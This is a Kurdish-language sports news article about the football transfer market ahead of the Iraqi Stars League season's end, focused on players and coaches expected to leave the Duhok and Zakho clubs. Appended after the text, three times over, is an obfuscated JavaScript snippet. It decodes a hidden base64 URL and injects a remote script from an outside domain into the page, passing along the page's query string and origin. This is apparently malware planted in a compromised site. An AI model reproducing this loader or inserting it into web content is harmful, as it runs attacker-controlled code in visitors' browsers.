بازاڕێ یاریزانان ژ گەرماتییا ڤێ مەهێ گەرمتر لێهاتییە
بەری ب دووماهی هاتنا خولا ستێرێن ئیراقێ یا فوتبۆلێ ب ئێك یاری و د گەرماتییا ڤێ مەهێ دا بازارێ یاریزان و راهێنەران گەرمتر لێهاتییە و كەفتیە د قۆناغەكا نوو دا، ئەو ژی ژبەركو وەرزەك ب دووماهی دهێت و دەست ب وەرزەكێ نوو دهێتە كرن، هەنە یاریزان حەزا نووكرنا گرێبەستا خوە دكەن و هەنە ژی حەز دكەن بچنە یانەكا دی چو ژبەر هەبوونا ئۆفەرە باشتر یان ژی تاقیكرنەكا نوو دگەل یانەكا دی، پێنەڤێت یانە ژی پلان و بەرنامەیێن نوو هەنە ب ئینانا یاریزانێن نوو و دوورئێخستنا هندەك یاریزانێن دی.
وەكو دیار لڤێ دووماهیێ ل سەر ئاستێ ئیراقێ ب گشتی و كوردستانێ ب تایبەتی بەحسی بازارێ یاریزان و راهێنەران ب گەرماتیەكا پێشچاڤ ب خوەڤە گرتییە، سەرباری پرانییا جەماوەرێ وەرزشی ب یۆرۆیا 2024ێ و كۆپا ئەمریكا ڤە گرێداینە لێ د سۆشیال میدیایێ دا ژی دۆڤچوونەكا باش بۆ دهێتە كرن د ناڤ هەردو یانەیێن پارێزگەهێ دا دهۆك و زاخۆ كۆمەكا باش یا یاریزانێن بەرنیاس و خودان شیان هەنە و جەماوەر حەز دكەت بمینن لێ ژێدەرێن رژامەڤانی دۆپاتی ل سەر چوونا وان كرییە، بۆ نموونە ژ یانەیا دهۆك هێران ئازاد بۆ یانەیا جەوییە و پیشەكارێ وێ یێ تونسی عیماد ئەلواتی بۆ سالمە یا كوێتی، پێشەكارێ كوتیڤاری یانیك زاكێری بۆ یانەكا خەلیجی دیسان چوونا هاریكارێ راهێنەری عەلی وەهیب، هەروەسان مانا راهێنەر ئەحمەد خەلەف نە هاتییە ئێكلاكرن، لێ چەند یاریزانێن دی هەنە ل دووڤ ژێدەران وەكو گۆلپارێز محەمەد سەلاح، جەبار كەریم، ئەیسەر قاسم ژی بەردەوام نەبن.
ژلایەكێ دیڤە یانەیا زاخۆ ژی كەفتیە ل بن فشارا بازاركرنا یاریزانان، بناڤودەنگترین یاریزانێ وێ ئەمجەد عتوان ئەوێ پارسال ب 600 ملیۆن دیناران گێبەستا وی هاتیە ئیمزاكرن یانەیا ئەلكەرمە ئەوا نوو هاتییە خولا ستێرێن ئیراقێ نێزیكی ئێك ملیار دینار بۆ ئەمجەدی بەرهەڤكرینە و دەنگۆباسێن دهێنە گۆتن كو گەهشتینە رێكەفتنا دەستپێكی، لێ یانەیا زاخۆ چو داخویانی نەداینە، هەروەسان گۆلپارێزێ وێ عەلی كازم بۆ یانەیا جەوییە، دیسان عیماد عیسا گۆلپارێزێ یەدەك سێ گرێبەست بۆ هاتینە، لێ ئەڤرۆ دێ ب فەرمی یانەیا زاخۆ چەند بڕیاران ل سەر یاریزانێن خوە دەت، رۆژێن داهاتی دێ گەلەك گرێبەست هێنە دیاركرن و ئێكلا كرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
